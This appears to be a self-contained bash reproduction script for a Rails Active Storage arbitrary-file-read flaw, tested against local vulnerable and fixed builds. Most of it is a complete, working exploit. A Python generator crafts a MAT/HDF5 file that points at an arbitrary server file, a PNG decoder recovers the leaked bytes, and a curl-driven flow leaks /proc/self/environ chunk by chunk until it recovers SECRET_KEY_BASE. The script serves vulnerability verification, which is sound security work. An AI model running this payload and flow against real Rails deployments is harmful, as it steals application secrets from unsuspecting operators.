#!/bin/bash
# =============================================================================
# CVE-2026-66066 / GHSA-xr9x-r78c-5hrm
# Rails Active Storage variant processing: arbitrary file read via libvips
# untrusted loader (matload -> matio -> HDF5 external storage), leading to
# disclosure of process-environment secrets (SECRET_KEY_BASE).
#
# This script is fully self-contained: it installs dependencies, generates a
# minimal but realistic Rails application twice (activestorage 8.0.5 vulnerable
# and 8.0.5.1 fixed), boots both with Puma, and drives an unauthenticated
# HTTP attack against each:
#
#   1. GET /                     -> session cookie + CSRF token + scrape the
#                                   signed variation token from the page's
#                                   sample variant URL (signs only the
#                                   transformation hash, blob-independent)
#   2. POST /rails/active_storage/direct_uploads   -> signed blob id
#   3. PUT  /rails/active_storage/disk/<token>     -> store crafted .mat
#   4. GET  /rails/active_storage/representations/redirect/<signed id>/<token>
#                                   -> libvips matload reads /proc/self/environ
#                                   -> variant PNG pixels = file bytes
#   5. Repeat with increasing HDF5 external-storage offsets; recover the
#      SECRET_KEY_BASE canary from the Rails process environment.
#
# Expected: vulnerable build (8.0.5) leaks the canary; fixed build (8.0.5.1,
# which calls Vips.block_untrusted(true) at boot) raises Vips::Error
# "matload: operation is blocked" and serves no variant.
#
# Exit 0 = vulnerability confirmed (divergent vulnerable/fixed behavior)
# Exit 1 = not reproduced
# Exit 2 = environment/infrastructure blocker
# =============================================================================
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
WORK="$REPRO_DIR/work"
ATTEMPTS="$LOGS/attempts"
mkdir -p "$LOGS" "$REPRO_DIR" "$WORK" "$ATTEMPTS"
cd "$ROOT"

# Honour the run's project cache contract when present. This reproduction does
# not need an upstream source checkout: the product (Rails/activestorage gem)
# is installed from RubyGems by the script itself.
if [ -f "$ROOT/project_cache_context.json" ]; then
  echo "[info] project_cache_context.json present; gems installed from rubygems (no repo checkout needed)"
fi

VULN_VERSION="8.0.5"
FIXED_VERSION="8.0.5.1"
CANARY="KINDARAILS2SHELL_CANARY"
BASE_PORT=38741

write_manifest() {
  local entry_kind="$1" service="$2" health="$3" reached="$4" notes="$5"
  shift 5
  jq -n \
    --arg entrypoint_kind "$entry_kind" \
    --arg entrypoint_detail "POST /rails/active_storage/direct_uploads, PUT /rails/active_storage/disk/:token, GET /rails/active_storage/representations/redirect/:signed_blob_id/:variation_key/:filename (Active Storage :vips variant processing)" \
    --argjson service_started "$service" \
    --argjson healthcheck_passed "$health" \
    --argjson target_path_reached "$reached" \
    --arg notes "$notes" \
    --argjson runtime_stack '["rails/activestorage '"$VULN_VERSION"' (vulnerable) and '"$FIXED_VERSION"' (fixed) on puma", "ruby-vips", "libvips + matio + HDF5", "sqlite3"]' \
    --argjson proof_artifacts "$(printf '%s\n' "$@" | jq -R . | jq -s .)" \
    '{entrypoint_kind: $entrypoint_kind, entrypoint_detail: $entrypoint_detail,
      service_started: $service_started, healthcheck_passed: $healthcheck_passed,
      target_path_reached: $target_path_reached, runtime_stack: $runtime_stack,
      proof_artifacts: $proof_artifacts, notes: $notes}' \
    > "$REPRO_DIR/runtime_manifest.json"
}

infra_fail() {
  echo "[infra] $1" | tee -a "$LOGS/reproduction_steps.log"
  write_manifest "endpoint" false false false "$1" "logs/reproduction_steps.log"
  exit 2
}

# ---------------------------------------------------------------------------
# Phase 0: dependencies
# ---------------------------------------------------------------------------
echo "[deps] installing system dependencies" | tee -a "$LOGS/reproduction_steps.log"

SUDO=""
if [ "$(id -u)" != "0" ]; then
  if command -v sudo >/dev/null 2>&1; then SUDO="sudo"; fi
fi

if ! command -v apt-get >/dev/null 2>&1; then
  infra_fail "apt-get not available; cannot install ruby/libvips/h5py"
fi

export DEBIAN_FRONTEND=noninteractive
$SUDO apt-get update -qq >>"$LOGS/reproduction_steps.log" 2>&1 || infra_fail "apt-get update failed"
$SUDO apt-get install -y -qq \
  ruby-full ruby-dev \
  libvips-dev libvips-tools \
  libsqlite3-dev libxml2-dev libxslt-dev libffi-dev \
  build-essential pkg-config \
  python3-h5py python3-numpy \
  jq curl openssl ca-certificates \
  >>"$LOGS/reproduction_steps.log" 2>&1 || infra_fail "apt-get install failed"

command -v ruby >/dev/null || infra_fail "ruby not installed"
ruby -e 'exit(Gem::Version.new(RUBY_VERSION) >= Gem::Version.new("3.2") ? 0 : 1)' \
  || infra_fail "ruby >= 3.2 required for rails 8.0, found $(ruby -v)"
echo "[deps] $(ruby -v)" | tee -a "$LOGS/reproduction_steps.log"

command -v vips >/dev/null || infra_fail "libvips tools not installed"
VIPS_VER="$(vips --version)"
echo "[deps] $VIPS_VER" | tee -a "$LOGS/reproduction_steps.log"
vips -l foreign 2>/dev/null | grep "matload)" | grep -q "untrusted" \
  || infra_fail "libvips matload operation is not present/marked untrusted - precondition (libvips built with matio) not met"
echo "[deps] libvips matload present and marked untrusted" | tee -a "$LOGS/reproduction_steps.log"

python3 -c "import h5py, numpy" 2>/dev/null || infra_fail "python3 h5py/numpy missing"
echo "[deps] python3 h5py/numpy OK" | tee -a "$LOGS/reproduction_steps.log"

# bundler (user install if necessary)
if ! command -v bundle >/dev/null 2>&1; then
  gem install --user-install bundler --no-document >>"$LOGS/reproduction_steps.log" 2>&1 \
    || $SUDO gem install bundler --no-document >>"$LOGS/reproduction_steps.log" 2>&1 \
    || infra_fail "could not install bundler"
fi
USER_GEM_BIN="$(ruby -e 'puts File.join(Gem.user_dir, "bin")' 2>/dev/null || true)"
[ -n "$USER_GEM_BIN" ] && export PATH="$USER_GEM_BIN:$PATH"
command -v bundle >/dev/null || infra_fail "bundle command unavailable"
echo "[deps] $(bundle -v)" | tee -a "$LOGS/reproduction_steps.log"

# ---------------------------------------------------------------------------
# Phase 1: generate the application scaffold (twice: vulnerable + fixed)
# ---------------------------------------------------------------------------
echo "[app] generating Rails app scaffold" | tee -a "$LOGS/reproduction_steps.log"

generate_app() {
  local DIR="$1"
  mkdir -p "$DIR/config/environments" "$DIR/bin" "$DIR/db" \
           "$DIR/app/controllers" "$DIR/app/models" "$DIR/app/views/uploads"

  cat > "$DIR/Gemfile" <<'EOF_GEMFILE'
source "https://rubygems.org"

# Substituted by reproduction_steps.sh (8.0.5 vulnerable / 8.0.5.1 fixed)
gem "rails", "= RAILS_VERSION_PLACEHOLDER"

gem "sqlite3", ">= 2.0"
gem "puma", ">= 5.0"
# image_processing 2.x calls Vips.block_untrusted(true) itself at load time,
# which would independently close CVE-2026-66066. Pin 1.x so the only
# difference between runs is the activestorage version.
gem "image_processing", "~> 1.12"
gem "ruby-vips", ">= 2.2.1"
EOF_GEMFILE

  cat > "$DIR/config/boot.rb" <<'EOF_BOOT'
ENV["BUNDLE_GEMFILE"] ||= File.expand_path("../Gemfile", __dir__)

require "bundler/setup" # Set up gems listed in the Gemfile.
EOF_BOOT

  cat > "$DIR/config/application.rb" <<'EOF_APP'
require_relative "boot"

require "rails/all"

Bundler.require(*Rails.groups)

module CveReproApp
  class Application < Rails::Application
    # Rails 8.0 defaults: config.active_storage.variant_processor = :vips
    config.load_defaults 8.0

    # Explicitly set the vulnerable/default processor for clarity.
    config.active_storage.variant_processor = :vips
    config.active_storage.service = :local

    # The app secret is sourced from the process environment, mirroring
    # production deployments (SECRET_KEY_BASE env var). This is what the
    # attacker exfiltrates via /proc/self/environ.
    config.secret_key_base = ENV.fetch("SECRET_KEY_BASE")

    config.eager_load = false
    config.consider_all_requests_local = true
    config.hosts.clear
    config.active_job.queue_adapter = :inline
  end
end
EOF_APP

  cat > "$DIR/config/environment.rb" <<'EOF_ENV'
# Initialize the Rails application.
Rails.application.initialize!
EOF_ENV

  cat > "$DIR/config/routes.rb" <<'EOF_ROUTES'
Rails.application.routes.draw do
  root "uploads#new"
  resources :uploads, only: [:new]
  # Active Storage routes (direct uploads, blobs, representations, disk)
  # are appended automatically by the Active Storage engine.
end
EOF_ROUTES

  cat > "$DIR/config/storage.yml" <<'EOF_STORAGE'
local:
  service: Disk
  root: <%= Rails.root.join("storage") %>
EOF_STORAGE

  cat > "$DIR/config/database.yml" <<'EOF_DB'
development:
  adapter: sqlite3
  database: db/development.sqlite3
  pool: 5
  timeout: 5000
EOF_DB

  cat > "$DIR/config/environments/development.rb" <<'EOF_DEVENV'
Rails.application.configure do
  config.enable_reloading = false
  config.eager_load = false
  config.consider_all_requests_local = true
  config.server_timing = true
  config.active_storage.service = :local
  config.hosts.clear
  config.action_controller.perform_caching = false
  config.active_support.deprecation = :log
end
EOF_DEVENV

  cat > "$DIR/config.ru" <<'EOF_RU'
# This file is used by Rack-based servers to start the application.
require_relative "config/environment"

run Rails.application
EOF_RU

  cat > "$DIR/bin/rails" <<'EOF_BINRAILS'
#!/usr/bin/env ruby
APP_PATH = File.expand_path("../config/application", __dir__)
require_relative "../config/boot"
require "rails/commands"
EOF_BINRAILS
  chmod +x "$DIR/bin/rails"

  cat > "$DIR/app/controllers/application_controller.rb" <<'EOF_APPC'
class ApplicationController < ActionController::Base
  protect_from_forgery with: :exception
end
EOF_APPC

  cat > "$DIR/app/controllers/uploads_controller.rb" <<'EOF_UPC'
class UploadsController < ApplicationController
  # A plain unauthenticated upload form page, as found in any app that uses
  # Active Storage direct uploads. It exposes the CSRF meta tag that the
  # direct-upload JavaScript (and our exploit script) uses.
  #
  # Like most pages in apps using Active Storage variants, it also renders an
  # image variant (<img src="/rails/active_storage/representations/...">),
  # which embeds a signed variation token. That token signs only the
  # transformation hash - it is not bound to any particular blob.
  def new
    sample = Upload.first
    if sample&.image&.attached?
      variant = sample.image.variant(resize_to_limit: [100, 100])
      @sample_variant_url = rails_blob_representation_path(
        variant.blob.signed_id, variant.variation.key, variant.blob.filename.to_s
      )
    end
  end
end
EOF_UPC

  cat > "$DIR/app/models/application_record.rb" <<'EOF_AR'
class ApplicationRecord < ActiveRecord::Base
  self.abstract_class = true
end
EOF_AR

  cat > "$DIR/app/models/upload.rb" <<'EOF_UPM'
class Upload < ApplicationRecord
  has_one_attached :image
end
EOF_UPM

  cat > "$DIR/app/views/uploads/new.html.erb" <<'EOF_VIEW'
<!DOCTYPE html>
<html>
<head>
  <title>Upload</title>
  <%= csrf_meta_tags %>
</head>
<body>
  <h1>Upload your avatar</h1>
  <form>
    <input type="file" name="avatar" />
    <input type="submit" value="Upload" />
  </form>
  <% if @sample_variant_url %>
    <h2>Recently uploaded</h2>
    <img src="<%= @sample_variant_url %>" />
  <% end %>
</body>
</html>
EOF_VIEW

  cat > "$DIR/db_setup.rb" <<'EOF_DBSETUP'
# frozen_string_literal: true
# Idempotent setup for the Active Storage tables (normally created by the
# rails active_storage:install migration) plus the app's Upload model table.
ActiveRecord::Schema.verbose = false
ActiveRecord::Schema.define do
  create_table :active_storage_blobs, if_not_exists: true do |t|
    t.string :key, null: false
    t.string :filename, null: false
    t.string :content_type
    t.text :metadata
    t.string :service_name, null: false
    t.bigint :byte_size, null: false
    t.string :checksum
    t.datetime :created_at, null: false
    t.index [:key], unique: true
  end

  create_table :active_storage_attachments, if_not_exists: true do |t|
    t.string :name, null: false
    t.string :record_type, null: false
    t.bigint :record_id, null: false
    t.bigint :blob_id, null: false
    t.datetime :created_at, null: false
    t.index [:blob_id]
    t.index [:record_type, :record_id, :name, :blob_id], unique: true, name: "idx_as_attach_uniqueness"
  end

  create_table :active_storage_variant_records, if_not_exists: true do |t|
    t.bigint :blob_id, null: false
    t.string :variation_digest, null: false
    t.index [:blob_id, :variation_digest], unique: true, name: "idx_as_variant_uniqueness"
  end

  create_table :uploads, if_not_exists: true do |t|
    t.timestamps
  end
end
puts "active storage tables ready"

# Seed one innocent sample image whose variant URL is rendered on the public
# upload form page (a typical "recently uploaded" gallery element).
sample = Upload.first
unless sample&.image&.attached?
  sample ||= Upload.create!
  sample.image.attach(
    io: File.open(Rails.root.join("db/sample.png")),
    filename: "sample.png",
    content_type: "image/png"
  )
end
puts "sample upload seeded"
EOF_DBSETUP

  cat > "$DIR/gen_mat.py" <<'EOF_GENMAT'
#!/usr/bin/env python3
"""Generate the CVE-2026-66066 payload: a MATLAB v7.3 (.mat / HDF5) file whose
single uint8 matrix variable uses HDF5 external storage backed by an arbitrary
absolute path on the server. When libvips' untrusted `matload` operation loads
this file (as Active Storage variant processing does), matio/HDF5 transparently
reads the referenced file and returns its bytes as image pixels.

Active Storage's ImageProcessing vips pipeline sharpens thumbnails with a 3x3
convolution ([-1,-1,-1; -1,32,-1; -1,-1,-1] / 24), which would mangle raw pixel
values. To stay byte-exact through the canonical `resize_to_limit: [100, 100]`
variant, every target byte is replicated into three consecutive pixels by using
one 1-byte HDF5 external-storage segment per pixel (3 segments per file byte).
The center pixel of each triple has all-equal 3x3 neighbours and therefore
survives the sharpen convolution exactly. The resulting image is 99x1 pixels,
inside the 100x100 limit, so no resampling happens either.

Usage: gen_mat.py <target_file> <output.mat> <offset> <num_bytes>
  offset: byte offset inside the target file (default 0)
  num_bytes: number of target bytes to expose (default 33 -> 99x1 image)
"""
import sys

import h5py
import numpy as np


def make_mat(target: str, path: str, offset: int = 0, n: int = 33) -> None:
    # One 1-byte external-storage segment per pixel; three segments per file
    # byte -> dataset pixel j == target[offset + j // 3].
    segments = [(target, offset + i, 1) for i in range(n) for _ in range(3)]
    with h5py.File(path, "w", userblock_size=512) as f:
        ds = f.create_dataset(
            "x",
            shape=(3 * n, 1),
            dtype="uint8",
            external=segments,
            fillvalue=0,
        )
        # matio requires a MATLAB_class attribute encoded as a fixed-size,
        # NULL-padded ASCII string.
        tid = h5py.h5t.C_S1.copy()
        tid.set_size(6)
        tid.set_strpad(h5py.h5t.STR_NULLPAD)
        sid = h5py.h5s.create(h5py.h5s.SCALAR)
        aid = h5py.h5a.create(ds.id, b"MATLAB_class", tid, sid)
        aid.write(np.array(b"uint8\x00", dtype="S6"))

    # libvips' vips__mat_ismat only sniffs files starting with "MATLAB 5.0";
    # matio decides v7.3/HDF5 purely from the version field (0x0200) and the
    # endian indicator ("IM" on disk for little-endian). The descriptive text
    # is unchecked, so both parsers accept this header.
    hdr = (
        b"MATLAB 5.0 MAT-file, Platform: GLNXA64, Created on: Tue Jul 29 2026,"
        b" HDF5 schema 1.00 ."
    )
    hdr = hdr.ljust(116, b" ") + b"\x00" * 8 + b"\x00\x02" + b"IM"
    assert len(hdr) == 128
    with open(path, "r+b") as fh:
        fh.write(hdr)


if __name__ == "__main__":
    target, out = sys.argv[1], sys.argv[2]
    offset = int(sys.argv[3]) if len(sys.argv) > 3 else 0
    n = int(sys.argv[4]) if len(sys.argv) > 4 else 33
    make_mat(target, out, offset, n)
EOF_GENMAT

  cat > "$DIR/decode_png.py" <<'EOF_DECODE'
#!/usr/bin/env python3
"""Decode an 8-bit grayscale PNG produced by the vulnerable variant pipeline.

The variant image is a 99x1 uchar image in which every exfiltrated file byte
occupies three consecutive pixels. After the pipeline's sharpen convolution,
only the center pixel of each triple is guaranteed byte-exact, so this script
extracts exactly those center pixels.

Usage: decode_png.py <input.png> <output.raw>
"""
import struct
import sys
import zlib


def paeth(a: int, b: int, c: int) -> int:
    p = a + b - c
    pa, pb, pc = abs(p - a), abs(p - b), abs(p - c)
    if pa <= pb and pa <= pc:
        return a
    if pb <= pc:
        return b
    return c


def decode(path: str) -> bytes:
    data = open(path, "rb").read()
    assert data[:8] == b"\x89PNG\r\n\x1a\n", "not a PNG"
    pos = 8
    width = height = bitdepth = colortype = None
    idat = bytearray()
    while pos < len(data):
        (length,) = struct.unpack(">I", data[pos : pos + 4])
        ctype = data[pos + 4 : pos + 8]
        body = data[pos + 8 : pos + 8 + length]
        if ctype == b"IHDR":
            width, height, bitdepth, colortype, _comp, _filt, _inter = struct.unpack(
                ">IIBBBBB", body
            )
        elif ctype == b"IDAT":
            idat += body
        elif ctype == b"IEND":
            break
        pos += 12 + length
    assert bitdepth == 8, f"unexpected bit depth {bitdepth}"
    channels = {0: 1, 2: 3, 4: 2, 6: 4}[colortype]
    stride = width * channels
    raw = zlib.decompress(bytes(idat))
    out = bytearray()
    prev = bytearray(stride)
    off = 0
    for _y in range(height):
        ftype = raw[off]
        off += 1
        line = bytearray(raw[off : off + stride])
        off += stride
        if ftype == 1:  # Sub
            for i in range(channels, stride):
                line[i] = (line[i] + line[i - channels]) & 0xFF
        elif ftype == 2:  # Up
            for i in range(stride):
                line[i] = (line[i] + prev[i]) & 0xFF
        elif ftype == 3:  # Average
            for i in range(stride):
                left = line[i - channels] if i >= channels else 0
                line[i] = (line[i] + ((left + prev[i]) >> 1)) & 0xFF
        elif ftype == 4:  # Paeth
            for i in range(stride):
                left = line[i - channels] if i >= channels else 0
                ul = prev[i - channels] if i >= channels else 0
                line[i] = (line[i] + paeth(left, prev[i], ul)) & 0xFF
        elif ftype != 0:
            raise ValueError(f"unknown filter {ftype}")
        out += line
        prev = line
    # one byte per pixel (first channel), row-major
    if channels == 1:
        pixels = bytes(out)
    else:
        pixels = bytes(out[i] for i in range(0, len(out), channels))
    # extract the center pixel of each 3-pixel group (the payload image is a
    # single row high)
    row = pixels[:width]
    return bytes(row[3 * i + 1] for i in range(width // 3))


if __name__ == "__main__":
    decoded = decode(sys.argv[1])
    with open(sys.argv[2], "wb") as fh:
        fh.write(decoded)
    print(f"decoded {len(decoded)} bytes from {sys.argv[1]}")
EOF_DECODE

  cat > "$DIR/make_sample_png.py" <<'EOF_SAMPLE'
#!/usr/bin/env python3
"""Write a plain 100x100 8-bit grayscale PNG (stdlib only).

Usage: make_sample_png.py <output.png>
"""
import struct
import sys
import zlib


def chunk(ctype: bytes, body: bytes) -> bytes:
    out = struct.pack(">I", len(body)) + ctype + body
    return out + struct.pack(">I", zlib.crc32(ctype + body) & 0xFFFFFFFF)


def make_png(path: str, w: int = 100, h: int = 100) -> None:
    rows = b"".join(
        b"\x00" + bytes((x + y) % 256 for x in range(w)) for y in range(h)
    )
    ihdr = struct.pack(">IIBBBBB", w, h, 8, 0, 0, 0, 0)
    data = (
        b"\x89PNG\r\n\x1a\n"
        + chunk(b"IHDR", ihdr)
        + chunk(b"IDAT", zlib.compress(rows))
        + chunk(b"IEND", b"")
    )
    with open(path, "wb") as fh:
        fh.write(data)


if __name__ == "__main__":
    make_png(sys.argv[1])
EOF_SAMPLE

  cat > "$DIR/exploit_flow.sh" <<'EOF_FLOW'
#!/bin/bash
# Drive the CVE-2026-66066 exploit flow against a running app instance.
#
# Unauthenticated attack flow:
#   1. GET /                -> session cookie + CSRF token + scrape the signed
#                              variation token from the page's sample variant
#                              URL (the token signs only the transformation
#                              hash - it is not bound to any particular blob)
#   2. POST direct_uploads  -> signed blob id + disk-service upload URL for a
#                              crafted .mat (HDF5 external storage payload),
#                              declared as content_type image/png
#   3. PUT  disk token URL  -> store the payload (DiskController is CSRF-free)
#   4. GET  /rails/active_storage/representations/redirect/<own signed id>/
#           <scraped variation token>/pwn.png
#                           -> Active Storage processes the .mat via libvips
#                              matload -> variant PNG pixels = bytes of the
#                              target file at the payload's external offset
#   5. Repeat with increasing offsets; concatenate leaked chunks until the
#      canary SECRET_KEY_BASE is recovered from /proc/self/environ.
#
# Usage: exploit_flow.sh <app_dir> <port> <out_dir> <canary>
# Exits 0 if the canary was recovered, 3 if variant processing is blocked.
set -uo pipefail

APP_DIR="$1"
PORT="$2"
OUT_DIR="$3"
CANARY="$4"
BASE="http://127.0.0.1:${PORT}"
TARGET="/proc/self/environ"
CHUNK=33
MAX_CHUNKS=80
mkdir -p "$OUT_DIR"

cd "$APP_DIR"

echo "[flow] GET / to obtain session cookie, CSRF token and a signed variation token"
curl -sS --max-time 30 -c "$OUT_DIR/cookies.txt" "$BASE/" -o "$OUT_DIR/index.html" -w "http_code=%{http_code}\n" || exit 9
CSRF=$(sed -n 's/.*name="csrf-token" content="\([^"]*\)".*/\1/p' "$OUT_DIR/index.html" | head -1)
if [ -z "$CSRF" ]; then echo "[flow] FAIL: no csrf token on index page"; exit 9; fi
VARIANT_PATH=$(grep -oE '/rails/active_storage/representations/[^"]+' "$OUT_DIR/index.html" | head -1)
if [ -z "$VARIANT_PATH" ]; then echo "[flow] FAIL: no sample variant URL on index page"; exit 9; fi
VKEY=$(echo "$VARIANT_PATH" | cut -d/ -f7)
if [ -z "$VKEY" ]; then echo "[flow] FAIL: could not extract variation key from $VARIANT_PATH"; exit 9; fi
echo "[flow] scraped signed variation token: ${VKEY:0:40}..."

: > "$OUT_DIR/leaked_all.raw"
CHUNKS_OK=0
BLOCKED=0

for ((i = 0; i < MAX_CHUNKS; i++)); do
  OFF=$((i * CHUNK))
  D="$OUT_DIR/chunk_$i"
  mkdir -p "$D"
  python3 gen_mat.py "$TARGET" "$D/evil.mat" "$OFF" "$CHUNK" || exit 9
  SIZE=$(stat -c%s "$D/evil.mat")
  MD5B64=$(openssl md5 -binary "$D/evil.mat" | openssl base64)

  curl -sS --max-time 30 -b "$OUT_DIR/cookies.txt" -X POST "$BASE/rails/active_storage/direct_uploads" \
    -H 'Content-Type: application/json' -H "X-CSRF-Token: $CSRF" \
    -d "{\"blob\":{\"filename\":\"evil.mat\",\"byte_size\":$SIZE,\"checksum\":\"$MD5B64\",\"content_type\":\"image/png\",\"metadata\":{}}}" \
    -o "$D/du.json" -w "chunk $i direct_upload http=%{http_code}\n" || exit 9

  SIGNED_ID=$(jq -r '.signed_id // empty' "$D/du.json")
  PUT_URL=$(jq -r '.direct_upload.url // empty' "$D/du.json")
  PUT_CT=$(jq -r '.direct_upload.headers["Content-Type"] // "application/octet-stream"' "$D/du.json")
  if [ -z "$SIGNED_ID" ] || [ -z "$PUT_URL" ]; then
    echo "[flow] FAIL: chunk $i direct upload failed"; head -c 300 "$D/du.json"; exit 9
  fi
  case "$PUT_URL" in http*) : ;; *) PUT_URL="$BASE$PUT_URL";; esac

  PUT_HTTP=$(curl -sS --max-time 30 -X PUT "$PUT_URL" -H "Content-Type: $PUT_CT" \
    --data-binary @"$D/evil.mat" -o "$D/put.txt" -w "%{http_code}")
  if [ "$PUT_HTTP" != "204" ] && [ "$PUT_HTTP" != "200" ]; then
    echo "[flow] FAIL: chunk $i PUT http=$PUT_HTTP"; exit 9
  fi

  REPR_URL="$BASE/rails/active_storage/representations/redirect/$SIGNED_ID/$VKEY/pwn.png"
  HTTP=$(curl -sS --max-time 120 -L "$REPR_URL" -o "$D/pwn.png" -w "%{http_code}")
  echo "chunk $i variant http=$HTTP"
  if [ "$HTTP" != "200" ]; then
    echo "[flow] chunk $i variant NOT served (processing blocked)"
    BLOCKED=1
    break
  fi
  if ! head -c8 "$D/pwn.png" | grep -q $'\x89PNG'; then
    echo "[flow] chunk $i variant not a PNG"; head -c 200 "$D/pwn.png" | tr -d '\0'; BLOCKED=1; break
  fi
  python3 decode_png.py "$D/pwn.png" "$D/leaked.raw" >/dev/null || exit 9
  cat "$D/leaked.raw" >> "$OUT_DIR/leaked_all.raw"
  CHUNKS_OK=$((CHUNKS_OK + 1))

  if tr -d '\0' < "$OUT_DIR/leaked_all.raw" | grep -q "$CANARY"; then
    echo "[flow] CANARY RECOVERED after $((i + 1)) chunk(s)"
    break
  fi
  if [ "$(tr -d '\0' < "$D/leaked.raw" | wc -c)" = "0" ]; then
    echo "[flow] chunk $i is all zero bytes: end of $TARGET reached"
    break
  fi
done

echo "[flow] chunks leaked: $CHUNKS_OK"
if [ "$BLOCKED" = "1" ]; then
  exit 3
fi
exit 0
EOF_FLOW
  chmod +x "$DIR/exploit_flow.sh"

  cat > "$DIR/run_instance.sh" <<'EOF_INST'
#!/bin/bash
# Boot one app instance with a canary SECRET_KEY_BASE in its environment,
# then drive the exploit flow against it.
# Usage: run_instance.sh <app_dir> <port> <work_dir>
set -uo pipefail

APP_DIR="$1"
PORT="$2"
WORK_DIR="$3"
mkdir -p "$WORK_DIR"

export SECRET_KEY_BASE="KINDARAILS2SHELL_CANARY_$(echo "$APP_DIR" | md5sum | cut -c1-16)_SECRET_DO_NOT_LEAK"

cd "$APP_DIR"

echo "[inst] resetting db and storage"
rm -rf db/development.sqlite3 db/development.sqlite3-* storage

echo "[inst] db setup"
python3 make_sample_png.py db/sample.png
bundle exec ruby bin/rails runner db_setup.rb > "$WORK_DIR/db_setup.log" 2>&1 || { tail -5 "$WORK_DIR/db_setup.log"; exit 9; }

echo "[inst] starting server on port $PORT"
bundle exec ruby bin/rails server -p "$PORT" -b 127.0.0.1 > "$WORK_DIR/server.log" 2>&1 &
SERVER_PID=$!
echo "$SERVER_PID" > "$WORK_DIR/server.pid"

cleanup() {
  kill "$SERVER_PID" 2>/dev/null
  wait "$SERVER_PID" 2>/dev/null
}
trap cleanup EXIT

echo "[inst] waiting for server (pid $SERVER_PID)"
UP=0
for i in $(seq 1 90); do
  CODE=$(curl -s -o /dev/null -w "%{http_code}" --max-time 2 "http://127.0.0.1:$PORT/rails/active_storage/direct_uploads" 2>/dev/null)
  if [ -n "$CODE" ] && [ "$CODE" != "000" ]; then UP=1; echo "[inst] server up after ${i}s (probe http=$CODE)"; break; fi
  sleep 1
done
if [ "$UP" != "1" ]; then
  echo "[inst] FAIL: server did not come up"; tail -20 "$WORK_DIR/server.log"; exit 9
fi

"$APP_DIR/exploit_flow.sh" "$APP_DIR" "$PORT" "$WORK_DIR" "KINDARAILS2SHELL_CANARY"
FLOW_RC=$?
echo "[inst] exploit flow rc=$FLOW_RC"
exit "$FLOW_RC"
EOF_INST
  chmod +x "$DIR/run_instance.sh"
}

APP_VULN="$WORK/app-vuln"
APP_FIXED="$WORK/app-fixed"
rm -rf "$APP_VULN" "$APP_FIXED"
generate_app "$APP_VULN"
generate_app "$APP_FIXED"
sed -i "s/RAILS_VERSION_PLACEHOLDER/$VULN_VERSION/" "$APP_VULN/Gemfile"
sed -i "s/RAILS_VERSION_PLACEHOLDER/$FIXED_VERSION/" "$APP_FIXED/Gemfile"
echo "[app] scaffold generated for rails $VULN_VERSION and $FIXED_VERSION" | tee -a "$LOGS/reproduction_steps.log"

# ---------------------------------------------------------------------------
# Phase 2: bundle install both builds
# ---------------------------------------------------------------------------
export BUNDLE_PATH="$WORK/bundle"
echo "[gems] bundle install (vulnerable: rails $VULN_VERSION)" | tee -a "$LOGS/reproduction_steps.log"
( cd "$APP_VULN" && bundle install --jobs 4 ) >"$LOGS/bundle_vuln.log" 2>&1 \
  || { tail -20 "$LOGS/bundle_vuln.log" | tee -a "$LOGS/reproduction_steps.log"; infra_fail "bundle install (vuln) failed"; }
( cd "$APP_VULN" && bundle list | grep -E "^  \* (rails |activestorage |image_processing |ruby-vips )" ) | tee -a "$LOGS/reproduction_steps.log"

echo "[gems] bundle install (fixed: rails $FIXED_VERSION)" | tee -a "$LOGS/reproduction_steps.log"
( cd "$APP_FIXED" && bundle install --jobs 4 ) >"$LOGS/bundle_fixed.log" 2>&1 \
  || { tail -20 "$LOGS/bundle_fixed.log" | tee -a "$LOGS/reproduction_steps.log"; infra_fail "bundle install (fixed) failed"; }
( cd "$APP_FIXED" && bundle list | grep -E "^  \* (rails |activestorage |image_processing |ruby-vips )" ) | tee -a "$LOGS/reproduction_steps.log"

# ---------------------------------------------------------------------------
# Phase 3: attack both builds (two attempts each)
# ---------------------------------------------------------------------------
VULN_OK=0
FIXED_BLOCKED=0

for ATTEMPT in 1 2; do
  A_DIR="$ATTEMPTS/vuln_$ATTEMPT"
  echo "=== vulnerable attempt $ATTEMPT (rails $VULN_VERSION) ===" | tee -a "$LOGS/reproduction_steps.log"
  if "$APP_VULN/run_instance.sh" "$APP_VULN" "$((BASE_PORT + ATTEMPT))" "$A_DIR" >>"$LOGS/reproduction_steps.log" 2>&1; then
    if tr -d '\0' < "$A_DIR/leaked_all.raw" | grep -q "SECRET_KEY_BASE=$CANARY"; then
      echo "[vuln $ATTEMPT] canary SECRET_KEY_BASE recovered from /proc/self/environ" | tee -a "$LOGS/reproduction_steps.log"
      tr -d '\0' < "$A_DIR/leaked_all.raw" | grep -m1 "SECRET_KEY_BASE" | tee -a "$LOGS/reproduction_steps.log"
      VULN_OK=$((VULN_OK + 1))
    else
      echo "[vuln $ATTEMPT] flow returned 0 but canary missing" | tee -a "$LOGS/reproduction_steps.log"
    fi
  else
    echo "[vuln $ATTEMPT] exploit flow failed (rc=$?)" | tee -a "$LOGS/reproduction_steps.log"
  fi
done

for ATTEMPT in 1 2; do
  A_DIR="$ATTEMPTS/fixed_$ATTEMPT"
  echo "=== fixed attempt $ATTEMPT (rails $FIXED_VERSION) ===" | tee -a "$LOGS/reproduction_steps.log"
  RC=0
  "$APP_FIXED/run_instance.sh" "$APP_FIXED" "$((BASE_PORT + 10 + ATTEMPT))" "$A_DIR" >>"$LOGS/reproduction_steps.log" 2>&1 || RC=$?
  if [ "$RC" = "3" ] && grep -q "operation is blocked" "$A_DIR/server.log"; then
    echo "[fixed $ATTEMPT] variant processing blocked: $(grep -m1 -oE 'Vips::Error \(matload: operation is blocked' "$A_DIR/server.log")" | tee -a "$LOGS/reproduction_steps.log"
    FIXED_BLOCKED=$((FIXED_BLOCKED + 1))
  else
    echo "[fixed $ATTEMPT] unexpected result rc=$RC" | tee -a "$LOGS/reproduction_steps.log"
    [ -f "$A_DIR/server.log" ] && tail -5 "$A_DIR/server.log" >>"$LOGS/reproduction_steps.log" 2>&1 || true
  fi
done

# ---------------------------------------------------------------------------
# Phase 4: manifest + verdict
# ---------------------------------------------------------------------------
echo "=== summary: vulnerable leaks=$VULN_OK/2, fixed blocked=$FIXED_BLOCKED/2 ===" | tee -a "$LOGS/reproduction_steps.log"

PROOF=(
  "logs/reproduction_steps.log"
  "logs/attempts/vuln_1/leaked_all.raw"
  "logs/attempts/vuln_1/server.log"
  "logs/attempts/vuln_1/index.html"
  "logs/attempts/vuln_2/leaked_all.raw"
  "logs/attempts/fixed_1/server.log"
